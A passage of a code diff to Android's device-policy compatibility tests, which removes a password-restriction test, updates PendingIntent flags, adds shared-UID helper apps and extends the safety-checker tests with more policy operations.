--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/PasswordMinimumRestrictionsTest.java
+++ /dev/null
@@ -1,210 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.managedprofile;
-
-import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
-
-import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
-
-/** Tests minimum password restriction APIs, including on parent profile instances. */
-public class PasswordMinimumRestrictionsTest extends BaseManagedProfileTest {
-
-    private static final int TEST_PASSWORD_LENGTH = 5;
-    private static final int TEST_PASSWORD_LENGTH_LOW = 2;
-    private static final String[] METHOD_LIST = {
-            "PasswordMinimumLength",
-            "PasswordMinimumUpperCase",
-            "PasswordMinimumLowerCase",
-            "PasswordMinimumLetters",
-            "PasswordMinimumNumeric",
-            "PasswordMinimumSymbols",
-            "PasswordMinimumNonLetter",
-            "PasswordHistoryLength"};
-
-    private DevicePolicyManager mParentDpm;
-    private int mCurrentAdminPreviousPasswordQuality;
-    private int mParentPreviousPasswordQuality;
-    private List<Integer> mCurrentAdminPreviousPasswordRestriction = new ArrayList<Integer>();
-    private List<Integer> mParentPreviousPasswordRestriction = new ArrayList<Integer>();
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mParentDpm = mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
-        mCurrentAdminPreviousPasswordQuality =
-                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
-        mParentPreviousPasswordQuality = mParentDpm.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
-        mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
-        for (String method : METHOD_LIST) {
-            mCurrentAdminPreviousPasswordRestriction
-                    .add(invokeGetMethod(method, mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT));
-            mParentPreviousPasswordRestriction
-                    .add(invokeGetMethod(method, mParentDpm, ADMIN_RECEIVER_COMPONENT));
-        }
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        for (int i = 0; i < METHOD_LIST.length; i++) {
-            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
-                    mCurrentAdminPreviousPasswordRestriction.get(i));
-            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
-                    mCurrentAdminPreviousPasswordRestriction.get(i));
-        }
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
-                mCurrentAdminPreviousPasswordQuality);
-        mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, mParentPreviousPasswordQuality);
-        super.tearDown();
-    }
-
-    public void testPasswordMinimumRestriction() throws Exception {
-        for (int i = 0; i < METHOD_LIST.length; i++) {
-            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
-                    TEST_PASSWORD_LENGTH + i);
-            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
-                    TEST_PASSWORD_LENGTH + 2 * i);
-
-            // Passing the admin component returns the value set for that admin, rather than
-            // aggregated values.
-            assertEquals(
-                    getMethodName(METHOD_LIST[i])
-                            + " failed to get expected value on mDevicePolicyManager.",
-                    TEST_PASSWORD_LENGTH + i, invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
-                            ADMIN_RECEIVER_COMPONENT));
-
-            // Passing the admin component returns the value set for that admin, rather than
-            // aggregated values.
-            assertEquals(
-                    getMethodName(METHOD_LIST[i]) + " failed to get expected value on mParentDpm.",
-                    TEST_PASSWORD_LENGTH + 2 * i,
-                    invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
-        }
-    }
-
-    public void testSetPasswordMinimumRestrictionWithNull() {
-        // Test with mDevicePolicyManager.
-        for (String method : METHOD_LIST) {
-            try {
-                invokeSetMethod(method, mDevicePolicyManager, null, TEST_PASSWORD_LENGTH);
-                fail("Exception should have been thrown for null admin ComponentName");
-            } catch (Exception e) {
-                if (!(e.getCause() instanceof NullPointerException)) {
-                    fail("Failed to execute set method: " + setMethodName(method));
-                }
-                // Expected to throw NullPointerException.
-            }
-        }
-
-        // Test with mParentDpm.
-        for (String method : METHOD_LIST) {
-            try {
-                invokeSetMethod(method, mParentDpm, null, TEST_PASSWORD_LENGTH);
-                fail("Exception should have been thrown for null admin ComponentName");
-            } catch (Exception e) {
-                if (!(e.getCause() instanceof NullPointerException)) {
-                    fail("Failed to execute set method: " + setMethodName(method));
-                }
-                // Expected to throw NullPointerException.
-            }
-        }
-    }
-
-    public void testGetPasswordMinimumRestrictionWithNullAdmin() throws Exception {
-        for (int i = 0; i < METHOD_LIST.length; i++) {
-            // Check getMethod with null admin. It should return the aggregated value (which is the
-            // only value set so far).
-            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
-                    TEST_PASSWORD_LENGTH_LOW + i);
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
-                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
-
-            // Set strict password minimum restriction using parent instance.
-            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
-                    TEST_PASSWORD_LENGTH + i);
-            // With null admin, the restriction should be the aggregate of all admins.
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
-                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
-            // With null admin, the restriction should be the aggregate of all admins.
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
-                    invokeGetMethod(METHOD_LIST[i], mParentDpm, null));
-
-            // Passing the admin component returns the value set for that admin, rather than
-            // aggregated values.
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
-                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
-                            ADMIN_RECEIVER_COMPONENT));
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
-                    invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
-
-            // Set strict password minimum restriction on current admin.
-            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
-                    TEST_PASSWORD_LENGTH + i);
-            // Set password minimum restriction using parent instance.
-            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
-                    TEST_PASSWORD_LENGTH_LOW + i);
-            // With null admin, the restriction should be the aggregate of all admins.
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
-                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
-            // With null admin, the restriction should be the aggregate of all admins.
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
-                    invokeGetMethod(METHOD_LIST[i], mParentDpm, null));
-
-            // Passing the admin component returns the value set for that admin, rather than
-            // aggregated values.
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
-                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
-                            ADMIN_RECEIVER_COMPONENT));
-            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
-                    invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
-        }
-    }
-
-    /**
-     * Calls dpm.set{methodName} with given component name and length arguments using reflection.
-     */
-    private void invokeSetMethod(String methodName, DevicePolicyManager dpm,
-            ComponentName componentName, int length) throws Exception {
-        final Method setMethod = DevicePolicyManager.class.getMethod(setMethodName(methodName),
-                ComponentName.class, int.class);
-        setMethod.invoke(dpm, componentName, length);
-    }
-
-    /**
-     * Calls dpm.get{methodName} with given component name using reflection.
-     */
-    private int invokeGetMethod(String methodName, DevicePolicyManager dpm,
-            ComponentName componentName) throws Exception {
-        final Method getMethod =
-                DevicePolicyManager.class.getMethod(getMethodName(methodName), ComponentName.class);
-        return (int) getMethod.invoke(dpm, componentName);
-    }
-
-    private String setMethodName(String methodName) {
-        return "set" + methodName;
-    }
-
-    private String getMethodName(String methodName) {
-        return "get" + methodName;
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java b/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
index 57cbab9..896efe7 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
@@ -154,7 +154,7 @@
                 mContext,
                 sessionId,
                 broadcastIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pendingIntent.getIntentSender();
     }
 
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/res/xml/device_admin.xml b/hostsidetests/devicepolicy/app/ProfileOwner/res/xml/device_admin.xml
index ff086d6..cbe6877 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/res/xml/device_admin.xml
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/res/xml/device_admin.xml
@@ -1,4 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
 <device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:visible="false">
     <uses-policies>
+        <force-lock />
     </uses-policies>
 </device-admin>
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
index 764ed3c..1165ef3 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
@@ -36,7 +36,7 @@
         Intent intent = new Intent(Intent.ACTION_MAIN);
         PendingIntent pendingIntent = PendingIntent.getActivity(
                 InstrumentationRegistry.getContext(),
-                1, intent, 0);
+                1, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         usm.registerAppUsageObserver(obsId, packages, 60, TimeUnit.SECONDS, pendingIntent);
         usm.unregisterAppUsageObserver(obsId);
@@ -56,7 +56,7 @@
         Intent intent = new Intent(Intent.ACTION_MAIN);
         PendingIntent pendingIntent = PendingIntent.getActivity(
                 InstrumentationRegistry.getContext(),
-                1, intent, 0);
+                1, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         usm.registerUsageSessionObserver(obsId, packages, Duration.ofSeconds(60),
                 Duration.ofSeconds(10), pendingIntent, null);
@@ -77,7 +77,7 @@
         Intent intent = new Intent(Intent.ACTION_MAIN);
         PendingIntent pendingIntent = PendingIntent.getActivity(
                 InstrumentationRegistry.getContext(),
-                1, intent, 0);
+                1, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         // Register too many AppUsageObservers
         for (int obsId = 0; obsId < OBSERVER_LIMIT; obsId++) {
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java
index c8b6d26..8492fcc 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -31,6 +31,6 @@
      * Tests that all safety-aware operations are properly implemented.
      */
     public void testAllOperations() {
-        mTester.testAllOperations(mDevicePolicyManager);
+        mTester.testAllOperations(mDevicePolicyManager, getWho());
     }
 }
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java
index 15cc3f6..efe511a 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java
@@ -38,12 +38,14 @@
     @Override
     public void onStart() {
         super.onStart();
+        Log.i(TAG, "Starting SimpleActivityImmediateExit.");
         finish();
     }
 
     @Override
     protected void onStop() {
         super.onStop();
+        Log.i(TAG, "Stopping SimpleActivityImmediateExit.");
         // Notify any listener that this activity is about to end now.
         Intent reply = new Intent();
         reply.setAction(ACTIVITY_EXIT_ACTION);
diff --git a/hostsidetests/devicepolicy/app/TestApps/Android.bp b/hostsidetests/devicepolicy/app/TestApps/Android.bp
index f6bbbcc..3d02d89 100644
--- a/hostsidetests/devicepolicy/app/TestApps/Android.bp
+++ b/hostsidetests/devicepolicy/app/TestApps/Android.bp
@@ -115,3 +115,27 @@
     ],
     manifest: "testapp4/AndroidManifest.xml",
 }
+
+android_test_helper_app {
+    name: "SharedUidApp1",
+    defaults: ["cts_defaults"],
+    //srcs: ["share/src/**/*.java"],
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+    manifest: "shareduidapp1/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "SharedUidApp2",
+    defaults: ["cts_defaults"],
+    //srcs: ["share/src/**/*.java"],
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+    manifest: "shareduidapp2/AndroidManifest.xml",
+}
diff --git a/hostsidetests/devicepolicy/app/TestApps/shareduidapp1/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestApps/shareduidapp1/AndroidManifest.xml
new file mode 100644
index 0000000..141c8af
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/TestApps/shareduidapp1/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<!--
+  ~ A test app used for when you need to install test packages that have a functioning package name
+  ~ and UID. For example, you could use it to set permissions or app-ops.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.testapps.shareduidapp1"
+    android:sharedUserId="com.android.cts.devicepolicy.shareduidapps">
+    <application android:testOnly="true">
+        <activity android:name="android.app.Activity"
+             android:exported="true">
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/TestApps/shareduidapp2/AndroidManifest.xml b/hostsidetests/devicepolicy/app/TestApps/shareduidapp2/AndroidManifest.xml
new file mode 100644
index 0000000..c978c86
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/TestApps/shareduidapp2/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<!--
+  ~ A test app used for when you need to install test packages that have a functioning package name
+  ~ and UID. For example, you could use it to set permissions or app-ops.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.testapps.shareduidapp2"
+    android:sharedUserId="com.android.cts.devicepolicy.shareduidapps">
+    <application android:testOnly="true">
+        <activity android:name="android.app.Activity"
+             android:exported="true">
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
index 941662f..d8073c9 100644
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
@@ -16,12 +16,23 @@
 package com.android.cts.devicepolicy;
 
 import static android.app.admin.DevicePolicyManager.OPERATION_LOCK_NOW;
+import static android.app.admin.DevicePolicyManager.OPERATION_LOGOUT_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_REMOVE_ACTIVE_ADMIN;
+import static android.app.admin.DevicePolicyManager.OPERATION_REMOVE_KEY_PAIR;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_ALWAYS_ON_VPN_PACKAGE;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_MASTER_VOLUME_MUTED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_PERMISSION_GRANT_STATE;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_PERMISSION_POLICY;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_RESTRICTIONS_PROVIDER;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_USER_RESTRICTION;
 import static android.app.admin.DevicePolicyManager.operationToString;
 
 import static org.junit.Assert.fail;
 
 import android.app.admin.DevicePolicyManager;
 import android.app.admin.UnsafeStateException;
+import android.content.ComponentName;
+import android.os.UserManager;
 import android.util.Log;
 
 import com.android.compatibility.common.util.ShellIdentityUtils;
@@ -29,6 +40,7 @@
 import java.util.ArrayList;
 import java.util.List;
 import java.util.Objects;
+import java.util.Set;
 
 /**
  * Helper class to test that DPM calls fail when determined by the
@@ -41,34 +53,43 @@
             .getSimpleName();
 
     private static final int[] OPERATIONS = new int[] {
-            OPERATION_LOCK_NOW
+            OPERATION_LOCK_NOW,
+            OPERATION_LOGOUT_USER,
+            OPERATION_REMOVE_ACTIVE_ADMIN,
+            OPERATION_REMOVE_KEY_PAIR,
+            OPERATION_SET_MASTER_VOLUME_MUTED,
+            OPERATION_SET_USER_RESTRICTION,
+            OPERATION_SET_PERMISSION_GRANT_STATE,
+            OPERATION_SET_PERMISSION_POLICY,
+            OPERATION_SET_RESTRICTIONS_PROVIDER
     };
 
     private static final int[] OVERLOADED_OPERATIONS = new int[] {
-            OPERATION_LOCK_NOW
+            OPERATION_LOCK_NOW,
+            OPERATION_SET_ALWAYS_ON_VPN_PACKAGE
     };
 
     /**
      * Tests that all safety-aware operations are properly implemented.
      */
-    public final void testAllOperations(DevicePolicyManager dpm) {
+    public final void testAllOperations(DevicePolicyManager dpm, ComponentName admin) {
         Objects.requireNonNull(dpm);
 
         List<String> failures = new ArrayList<>();
         for (int operation : OPERATIONS) {
-            safeOperationTest(dpm, failures, operation, /* overloaded= */ false);
+            safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ false);
         }
 
         for (int operation : OVERLOADED_OPERATIONS) {
-            safeOperationTest(dpm, failures, operation, /* overloaded= */ true);
+            safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ true);
         }
 
         for (int operation : getSafetyAwareOperations()) {
-            safeOperationTest(dpm, failures, operation, /* overloaded= */ false);
+            safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ false);
         }
 
         for (int operation : getOverloadedSafetyAwareOperations()) {
-            safeOperationTest(dpm, failures, operation, /* overloaded= */ true);
+            safeOperationTest(dpm, admin, failures, operation, /* overloaded= */ true);
         }
 
         if (!failures.isEmpty()) {
@@ -107,7 +128,7 @@
      *
      * <p>MUST be overridden if {@link #getSafetyAwareOperations()} is overridden as well.
      */
-    protected void runOperation(DevicePolicyManager dpm, int operation,
+    protected void runOperation(DevicePolicyManager dpm, ComponentName admin, int operation,
             boolean overloaded) {
         throwUnsupportedOperationException(operation, overloaded);
     }
@@ -121,12 +142,12 @@
                 "Unsupported operation " + getOperationName(operation, overloaded));
     }
 
-    private void safeOperationTest(DevicePolicyManager dpm, List<String> failures, int operation,
-            boolean overloaded) {
+    private void safeOperationTest(DevicePolicyManager dpm, ComponentName admin,
+            List<String> failures, int operation, boolean overloaded) {
         String name = getOperationName(operation, overloaded);
         try {
             setOperationUnsafe(dpm, operation);
-            runCommonOrSpecificOperation(dpm, operation, overloaded);
+            runCommonOrSpecificOperation(dpm, admin, operation, overloaded);
             Log.e(TAG, name + " didn't throw an UnsafeStateException");
             failures.add(name);
         } catch (UnsafeStateException e) {
@@ -142,8 +163,8 @@
         return overloaded ? name + "(OVERLOADED)" : name;
     }
 
-    private void runCommonOrSpecificOperation(DevicePolicyManager dpm, int operation,
-            boolean overloaded) {
+    private void runCommonOrSpecificOperation(DevicePolicyManager dpm, ComponentName admin,
+            int operation, boolean overloaded) throws Exception {
         String name = getOperationName(operation, overloaded);
         Log.v(TAG, "runOperation(): " + name);
         switch (operation) {
@@ -154,8 +175,41 @@
                     dpm.lockNow();
                 }
                 break;
+            case OPERATION_LOGOUT_USER:
+                dpm.logoutUser(admin);
+                break;
+            case OPERATION_SET_ALWAYS_ON_VPN_PACKAGE:
+                if (overloaded) {
+                    dpm.setAlwaysOnVpnPackage(admin, "vpnPackage", /* lockdownEnabled= */ true);
+                } else {
+                    dpm.setAlwaysOnVpnPackage(admin, "vpnPackage", /* lockdownEnabled= */ true,
+                            /* lockdownAllowlist= */ Set.of("vpnPackage"));
+                }
+                break;
+            case OPERATION_SET_MASTER_VOLUME_MUTED:
+                dpm.setMasterVolumeMuted(admin, /* on= */ true);
+                break;
+            case OPERATION_SET_PERMISSION_GRANT_STATE:
+                dpm.setPermissionGrantState(admin, "package", "permission", /* grantState= */ 0);
+                break;
+            case OPERATION_SET_PERMISSION_POLICY:
+                dpm.setPermissionPolicy(admin, /* policy= */ 0);
+                break;
+            case OPERATION_SET_RESTRICTIONS_PROVIDER:
+                dpm.setRestrictionsProvider(admin,
+                        /* provider= */ new ComponentName("package", "component"));
+                break;
+            case OPERATION_SET_USER_RESTRICTION:
+                dpm.addUserRestriction(admin, UserManager.DISALLOW_REMOVE_USER);
+                break;
+            case OPERATION_REMOVE_ACTIVE_ADMIN:
+                dpm.removeActiveAdmin(admin);
+                break;
+            case OPERATION_REMOVE_KEY_PAIR:
+                dpm.removeKeyPair(admin, "keyAlias");
+                break;
             default:
-                runOperation(dpm, operation, overloaded);
+                runOperation(dpm, admin, operation, overloaded);
         }
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 5c28d37..0ea3a4f 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -148,6 +148,7 @@
 
     /** Whether DPM is supported. */
     protected boolean mHasFeature;
+    protected int mDeviceOwnerUserId;
     protected int mPrimaryUserId;
 
     /** Record the initial user ID. */
@@ -201,12 +202,21 @@
         getDevice().executeShellCommand("settings put global verifier_verify_adb_installs 0");
 
         mFixedUsers = new ArrayList<>();
-        mPrimaryUserId = getPrimaryUser();
 
         // Set the value of initial user ID calls in {@link #setUp}.
         if(mSupportsMultiUser) {
             mInitialUserId = getDevice().getCurrentUser();
         }
+
+        if (!isHeadlessSystemUserMode()) {
+            mDeviceOwnerUserId = mPrimaryUserId = getPrimaryUser();
+        } else {
+            // For headless system user, all tests will be executed on current user
+            // and therefore, initial user is set as primary user for test purpose.
+            mPrimaryUserId = mInitialUserId;
+            mDeviceOwnerUserId = USER_SYSTEM;
+        }
+
         mFixedUsers.add(mPrimaryUserId);
         if (mPrimaryUserId != USER_SYSTEM) {
             mFixedUsers.add(USER_SYSTEM);
@@ -225,7 +235,9 @@
         getDevice().executeShellCommand(" mkdir " + TEST_UPDATE_LOCATION);
 
         removeOwners();
-        switchUser(USER_SYSTEM);
+
+        switchUser(mPrimaryUserId);
+
         removeTestUsers();
         // Unlock keyguard before test
         wakeupAndDismissKeyguard();
@@ -1036,6 +1048,13 @@
         return "true".equalsIgnoreCase(result);
     }
 
+    // TODO (b/174775905) remove after exposing the check from ITestDevice.
+    boolean isHeadlessSystemUserMode() throws DeviceNotAvailableException {
+        final String result = getDevice()
+                .executeShellCommand("getprop ro.fw.mu.headless_system_user").trim();
+        return "true".equalsIgnoreCase(result);
+    }
+
     void pushUpdateFileToDevice(String fileName)
             throws IOException, DeviceNotAvailableException {
         File file = File.createTempFile(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index b1db61d..02e2455 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -36,6 +36,7 @@
 
 import com.google.common.collect.ImmutableMap;
 
+import org.junit.Ignore;
 import org.junit.Test;
 
 import java.io.File;
@@ -146,6 +147,10 @@
             = "com.android.cts.devicepolicy.meteredtestapp";
     private static final String METERED_DATA_APP_APK = "CtsMeteredDataTestApp.apk";
 
+    // For testing key pair grants since they are per-uid
+    private static final String SHARED_UID_APP1_APK = "SharedUidApp1.apk";
+    private static final String SHARED_UID_APP2_APK = "SharedUidApp2.apk";
+
     private static final String ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES
             = "enabled_notification_policy_access_packages";
 
@@ -1151,6 +1156,7 @@
     }
 
     @FlakyTest(bugId = 132226089)
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     @Test
     public void testLockTask() throws Exception {
         if (!mHasFeature) {
@@ -1203,6 +1209,7 @@
 
     @LargeTest
     @Test
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
         if (!mHasFeature) {
             return;
@@ -1234,6 +1241,7 @@
     }
 
     @Test
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     public void testLockTask_defaultDialer() throws Exception {
         if (!mHasFeature || !mHasTelephony || !mHasConnectionService) {
             return;
@@ -1589,6 +1597,9 @@
             return;
         }
 
+        installAppAsUser(SHARED_UID_APP1_APK, mUserId);
+        installAppAsUser(SHARED_UID_APP2_APK, mUserId);
+
         executeDeviceTestClass(".KeyManagementTest");
     }
 
@@ -1603,10 +1614,12 @@
                 }, new DevicePolicyEventWrapper.Builder(EventId.INSTALL_KEY_PAIR_VALUE)
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
+                .setStrings("notCredentialManagementApp")
                 .build(),
                 new DevicePolicyEventWrapper.Builder(EventId.REMOVE_KEY_PAIR_VALUE)
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
+                .setStrings("notCredentialManagementApp")
                 .build());
     }
 
@@ -1623,13 +1636,13 @@
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
                 .setInt(0)
-                .setStrings("RSA")
+                .setStrings("RSA", "notCredentialManagementApp")
                 .build(),
                 new DevicePolicyEventWrapper.Builder(EventId.GENERATE_KEY_PAIR_VALUE)
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
                 .setInt(0)
-                .setStrings("EC")
+                .setStrings("EC", "notCredentialManagementApp")
